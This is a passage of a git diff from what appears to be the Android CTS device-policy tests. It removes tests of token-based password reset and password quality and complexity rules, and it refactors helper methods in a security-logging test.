-        // try changing to a stronger password and verify it satisfies requested constraint
-        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                COMPLEX_PASSWORD, TOKEN0, 0));
-        assertPasswordSufficiency(true);
-    }
-
-    public void testResetPasswordFailIfQualityNotMet() {
-        if (!mShouldRun) {
-            return;
-        }
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
-
-        assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                SHORT_PASSWORD, TOKEN0, 0));
-
-        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                COMPLEX_PASSWORD, TOKEN0, 0));
-    }
-
-    public void testPasswordMetricAfterResetPassword() {
-        if (!mShouldRun) {
-            return;
-        }
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                PASSWORD_QUALITY_COMPLEX);
-        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 1);
-        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 1);
-        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 0);
-        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                COMPLEX_PASSWORD, TOKEN0, 0));
-
-        // Change required complexity and verify new password satisfies it
-        // First set a slightly stronger requirement and expect password sufficiency is false
-        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 3);
-        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 3);
-        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 2);
-        assertPasswordSufficiency(false);
-        // Then sets the appropriate quality and verify it should pass
-        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 1);
-        assertPasswordSufficiency(true);
-    }
-
-    public void testClearPasswordWithToken() {
-        if (!mShouldRun) {
-            return;
-        }
-        KeyguardManager km = mContext.getSystemService(KeyguardManager.class);
-        // First set a password
-        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                SHORT_PASSWORD, TOKEN0, 0));
-        assertTrue(km.isDeviceSecure());
-
-        // clear password with token
-        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
-                TOKEN0, 0));
-        assertFalse(km.isDeviceSecure());
-    }
-
-    public void testPasswordQuality_something() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                PASSWORD_QUALITY_SOMETHING);
-        assertEquals(PASSWORD_QUALITY_SOMETHING,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(false);
-
-        String caseDescription = "initial";
-        assertPasswordSucceeds("1234", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription); // can't change.
-        assertPasswordSucceeds("abcd1234", caseDescription);
-    }
-
-    public void testPasswordQuality_numeric() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
-        assertEquals(PASSWORD_QUALITY_NUMERIC,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(false);            // failure
-
-        String caseDescription = "initial";
-        assertPasswordSucceeds("1234", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordSucceeds("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 10);
-        caseDescription = "minimum password length = 10";
-        assertEquals(10, mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(false);
-
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
-        caseDescription = "minimum password length = 4";
-        assertEquals(4, mDevicePolicyManager.getPasswordMinimumLength(
-                ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(true);
-
-        assertPasswordSucceeds("1234", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordSucceeds("abcd1234", caseDescription);
-    }
-
-    public void testPasswordQuality_alphabetic() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                PASSWORD_QUALITY_ALPHABETIC);
-        assertEquals(PASSWORD_QUALITY_ALPHABETIC,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(false);
-
-        String caseDescription = "initial";
-        assertPasswordFails("1234", caseDescription);      // can't change
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordSucceeds("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 10);
-        caseDescription = "minimum password length = 10";
-        assertEquals(10, mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(false);
-
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
-        caseDescription = "minimum password length = 4";
-        assertEquals(4, mDevicePolicyManager.getPasswordMinimumLength(
-                ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(true);
-
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordSucceeds("abcd1234", caseDescription);
-    }
-
-    public void testPasswordQuality_alphanumeric() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                PASSWORD_QUALITY_ALPHANUMERIC);
-        assertEquals(PASSWORD_QUALITY_ALPHANUMERIC,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(false);
-
-        String caseDescription = "initial";
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordSucceeds("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 10);
-        caseDescription = "minimum password length = 10";
-        assertEquals(10, mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(false);
-
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("abcd1234", caseDescription);
-
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
-        caseDescription = "minimum password length = 4";
-        assertEquals(4, mDevicePolicyManager.getPasswordMinimumLength(
-                ADMIN_RECEIVER_COMPONENT));
-        assertPasswordSufficiency(true);
-
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordSucceeds("abcd1234", caseDescription);
-    }
-
-    public void testPasswordQuality_complexUpperCase() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        assertEquals(PASSWORD_QUALITY_COMPLEX,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        resetComplexPasswordRestrictions();
-
-        String caseDescription = "minimum UpperCase=0";
-        assertPasswordSucceeds("abc1", caseDescription);
-        assertPasswordSucceeds("aBc1", caseDescription);
-        assertPasswordSucceeds("ABC1", caseDescription);
-        assertPasswordSucceeds("ABCD", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, 1);
-        assertEquals(1, mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum UpperCase=1";
-        assertPasswordFails("abc1", caseDescription);
-        assertPasswordSucceeds("aBc1", caseDescription);
-        assertPasswordSucceeds("ABC1", caseDescription);
-        assertPasswordSucceeds("ABCD", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, 3);
-        assertEquals(3, mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum UpperCase=3";
-        assertPasswordFails("abc1", caseDescription);
-        assertPasswordFails("aBC1", caseDescription);
-        assertPasswordSucceeds("ABC1", caseDescription);
-        assertPasswordSucceeds("ABCD", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-    }
-
-    public void testPasswordQuality_complexLowerCase() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        assertEquals(PASSWORD_QUALITY_COMPLEX,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        resetComplexPasswordRestrictions();
-
-        String caseDescription = "minimum LowerCase=0";
-        assertPasswordSucceeds("ABCD", caseDescription);
-        assertPasswordSucceeds("aBC1", caseDescription);
-        assertPasswordSucceeds("abc1", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, 1);
-        assertEquals(1, mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum LowerCase=1";
-        assertPasswordFails("ABCD", caseDescription);
-        assertPasswordSucceeds("aBC1", caseDescription);
-        assertPasswordSucceeds("abc1", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, 3);
-        assertEquals(3, mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum LowerCase=3";
-        assertPasswordFails("ABCD", caseDescription);
-        assertPasswordFails("aBC1", caseDescription);
-        assertPasswordSucceeds("abc1", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-    }
-
-    public void testPasswordQuality_complexLetters() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        assertEquals(PASSWORD_QUALITY_COMPLEX,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        resetComplexPasswordRestrictions();
-
-        String caseDescription = "minimum Letters=0";
-        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
-        assertPasswordSucceeds("a123", caseDescription);
-        assertPasswordSucceeds("abc1", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 1);
-        assertEquals(1, mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum Letters=1";
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordSucceeds("a123", caseDescription);
-        assertPasswordSucceeds("abc1", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 3);
-        assertEquals(3, mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum Letters=3";
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("a123", caseDescription);
-        assertPasswordSucceeds("abc1", caseDescription);
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-    }
-
-    public void testPasswordQuality_complexNumeric() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        assertEquals(PASSWORD_QUALITY_COMPLEX,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        resetComplexPasswordRestrictions();
-
-        String caseDescription = "minimum Numeric=0";
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordSucceeds("1abc", caseDescription);
-        assertPasswordSucceeds("123a", caseDescription);
-        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 1);
-        assertEquals(1, mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum Numeric=1";
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordSucceeds("1abc", caseDescription);
-        assertPasswordSucceeds("123a", caseDescription);
-        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 3);
-        assertEquals(3, mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum Numeric=3";
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("1abc", caseDescription);
-        assertPasswordSucceeds("123a", caseDescription);
-        assertPasswordFails("1234", caseDescription); // Numeric PIN not allowed
-        assertPasswordFails("123", caseDescription); // too short
-    }
-
-    public void testPasswordComplexity_settingComplexityClearsQuality() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
-        assertEquals(PASSWORD_QUALITY_UNSPECIFIED,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(PASSWORD_COMPLEXITY_MEDIUM,
-                mDevicePolicyManager.getRequiredPasswordComplexity());
-    }
-
-    public void testPasswordComplexity_settingQualityResetsComplexity() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        assertEquals(PASSWORD_QUALITY_COMPLEX,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(PASSWORD_COMPLEXITY_NONE,
-                mDevicePolicyManager.getRequiredPasswordComplexity());
-    }
-
-    public void testPasswordComplexity_Low() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
-        assertEquals(PASSWORD_COMPLEXITY_LOW,
-                mDevicePolicyManager.getRequiredPasswordComplexity());
-
-        String caseDescription = "low quality password";
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription);
-        assertEquals(PASSWORD_COMPLEXITY_LOW, mDevicePolicyManager.getPasswordComplexity());
-        assertPasswordSucceeds("1a2b3c4d", caseDescription);
-        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
-        assertPasswordSucceeds("162534", caseDescription); // 6 digits.
-        assertEquals(PASSWORD_COMPLEXITY_MEDIUM, mDevicePolicyManager.getPasswordComplexity());
-    }
-
-    public void testPasswordComplexity_Medium() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
-        assertEquals(PASSWORD_QUALITY_UNSPECIFIED,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(PASSWORD_COMPLEXITY_MEDIUM,
-                mDevicePolicyManager.getRequiredPasswordComplexity());
-
-        String caseDescription = "medium quality password";
-        assertPasswordSucceeds("axtd", caseDescription);
-        assertPasswordSucceeds("1axc", caseDescription);
-        assertPasswordSucceeds("1363", caseDescription);
-        assertPasswordFails("4444", caseDescription);
-        assertEquals(PASSWORD_COMPLEXITY_MEDIUM, mDevicePolicyManager.getPasswordComplexity());
-        assertPasswordSucceeds("1axc352ae63", caseDescription);
-        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
-        assertPasswordFails("1234", caseDescription); // repeating pattern
-        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
-    }
-
-    public void testPasswordComplexity_High() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
-        assertEquals(PASSWORD_COMPLEXITY_HIGH,
-                mDevicePolicyManager.getRequiredPasswordComplexity());
-
-        String caseDescription = "high quality password";
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("123", caseDescription);
-        assertPasswordSucceeds("1a2b3c4d5e", caseDescription);
-        assertEquals(PASSWORD_COMPLEXITY_HIGH, mDevicePolicyManager.getPasswordComplexity());
-        assertPasswordFails("162534", caseDescription); // Only 6 digits.
-    }
-
-    public void testPasswordQuality_complexSymbols() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        assertEquals(PASSWORD_QUALITY_COMPLEX,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        resetComplexPasswordRestrictions();
-
-        String caseDescription = "minimum Symbols=0";
-        assertPasswordSucceeds("abcd", caseDescription);
-        assertPasswordSucceeds("_bc1", caseDescription);
-        assertPasswordSucceeds("@#!1", caseDescription);
-        assertPasswordSucceeds("_@#!", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 1);
-        assertEquals(1, mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum Symbols=1";
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordSucceeds("_bc1", caseDescription);
-        assertPasswordSucceeds("@#!1", caseDescription);
-        assertPasswordSucceeds("_@#!", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 3);
-        assertEquals(3, mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum Symbols=3";
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("_bc1", caseDescription);
-        assertPasswordSucceeds("@#!1", caseDescription);
-        assertPasswordSucceeds("_@#!", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-    }
-
-    public void testPasswordQuality_complexNonLetter() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        assertEquals(PASSWORD_QUALITY_COMPLEX,
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
-        resetComplexPasswordRestrictions();
-
-        String caseDescription = "minimum NonLetter=0";
-        assertPasswordSucceeds("Abcd", caseDescription);
-        assertPasswordSucceeds("_bcd", caseDescription);
-        assertPasswordSucceeds("3bcd", caseDescription);
-        assertPasswordSucceeds("_@3c", caseDescription);
-        assertPasswordSucceeds("_25!", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, 1);
-        assertEquals(1, mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum NonLetter=1";
-        assertPasswordFails("Abcd", caseDescription);
-        assertPasswordSucceeds("_bcd", caseDescription);
-        assertPasswordSucceeds("3bcd", caseDescription);
-        assertPasswordSucceeds("_@3c", caseDescription);
-        assertPasswordSucceeds("_25!", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-
-        mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, 3);
-        assertEquals(3, mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
-        caseDescription = "minimum NonLetter=3";
-        assertPasswordFails("Abcd", caseDescription);
-        assertPasswordFails("_bcd", caseDescription);
-        assertPasswordFails("3bcd", caseDescription);
-        assertPasswordSucceeds("_@3c", caseDescription);
-        assertPasswordSucceeds("_25!", caseDescription);
-        assertPasswordFails("123", caseDescription); // too short
-    }
-
-    public void testResetPasswordWithTokenLogging() {
-        if (!mShouldRun) {
-            return;
-        }
-
-        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
-            mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                    SHORT_PASSWORD, TOKEN0, 0);
-
-            assertNotNull(metrics.query()
-                    .whereType().isEqualTo(EventId.RESET_PASSWORD_WITH_TOKEN_VALUE)
-                    .whereAdminPackageName().isEqualTo(PACKAGE_NAME)
-                    .poll());
-        }
-    }
-
-    private boolean setUpResetPasswordToken(boolean acceptFailure) {
-        // set up a token
-        assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-
-        try {
-            // On devices with password token disabled, calling this method will throw
-            // a security exception. If that's anticipated, then return early without failing.
-            assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
-                    TOKEN0));
-        } catch (SecurityException e) {
-            if (acceptFailure &&
-                    e.getMessage().equals("Escrow token is disabled on the current user")) {
-                return false;
-            } else {
-                throw e;
-            }
-        }
-        assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-        return true;
-    }
-
-    private void cleanUpResetPasswordToken() {
-        // First remove device lock
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
-        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
-        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
-                TOKEN0, 0));
-
-        // Then remove token and check it succeeds
-        assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
-        assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-        assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                SHORT_PASSWORD, TOKEN0, 0));
-    }
-
-    private void assertPasswordFails(String password, String restriction) {
-        try {
-            boolean passwordResetResult = mDevicePolicyManager.resetPasswordWithToken(
-                    ADMIN_RECEIVER_COMPONENT, password, TOKEN0, /* flags= */0);
-            assertFalse("Password '" + password + "' should have failed on " + restriction,
-                    passwordResetResult);
-        } catch (IllegalArgumentException e) {
-            // yesss, we have failed!
-        }
-    }
-
-    private void assertPasswordSucceeds(String password, String restriction) {
-        boolean passwordResetResult = mDevicePolicyManager.resetPasswordWithToken(
-                ADMIN_RECEIVER_COMPONENT, password, TOKEN0, /* flags= */0);
-        assertTrue("Password '" + password + "' failed on " + restriction, passwordResetResult);
-        assertPasswordSufficiency(true);
-    }
-
-    private void resetComplexPasswordRestrictions() {
-        final int quality = mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
-        if (quality < PASSWORD_QUALITY_NUMERIC) {
-            return;
-        }
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
-        if (quality < PASSWORD_QUALITY_COMPLEX) {
-            return;
-        }
-        mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, 0);
-        mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, 0);
-        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 0);
-        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 0);
-        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 0);
-        mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, 0);
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index 5c9c6d2..d8fd8df 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -491,14 +491,24 @@
         return findEvent(description, events, e -> e.getTag() == tag);
     }
 
+    private List<SecurityEvent> findEvents(List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate) {
+        return events.stream().filter(predicate).collect(Collectors.toList());
+    }
+
     private SecurityEvent findEvent(String description, List<SecurityEvent> events,
             Predicate<SecurityEvent> predicate) {
-        final List<SecurityEvent> matches =
-                events.stream().filter(predicate).collect(Collectors.toList());
+        final List<SecurityEvent> matches = findEvents(events, predicate);
         assertEquals("Invalid number of matching events: " + description, 1, matches.size());
         return matches.get(0);
     }
 
+    private void assertNumberEvents(String description, List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate, int expectedSize) {
+        assertEquals("Invalid number of matching events: " + description, expectedSize,
+                findEvents(events, predicate).size());
+    }
+
     private static Object getDatum(SecurityEvent event, int index) {
         final Object[] dataArray = (Object[]) event.getData();
         return dataArray[index];
@@ -558,16 +568,14 @@
     }
 
     public void testSetDelegateScope_delegationSecurityLogging() {
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
-                Arrays.asList(DELEGATION_SECURITY_LOGGING));
+        setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList(DELEGATION_SECURITY_LOGGING));
 
         assertThat(mDevicePolicyManager.getDelegatedScopes(
                 ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG)).contains(DELEGATION_SECURITY_LOGGING);
     }
 
     public void testSetDelegateScope_noDelegation() {
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
-                Arrays.asList());
+        setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList());
 
         assertThat(mDevicePolicyManager.getDelegatedScopes(
                 ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
@@ -681,21 +689,21 @@
         // The order should be consistent with the order in generatePasswordComplexityEvents(), so
         // that the expected values change in the same sequence as when setting password policies.
         expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX;
-        findPasswordComplexityEvent("set pwd quality", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd quality", events, expectedPayload);
         expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH;
-        findPasswordComplexityEvent("set pwd length", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd length", events, expectedPayload);
         expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
         expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
         expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
         expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
         expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
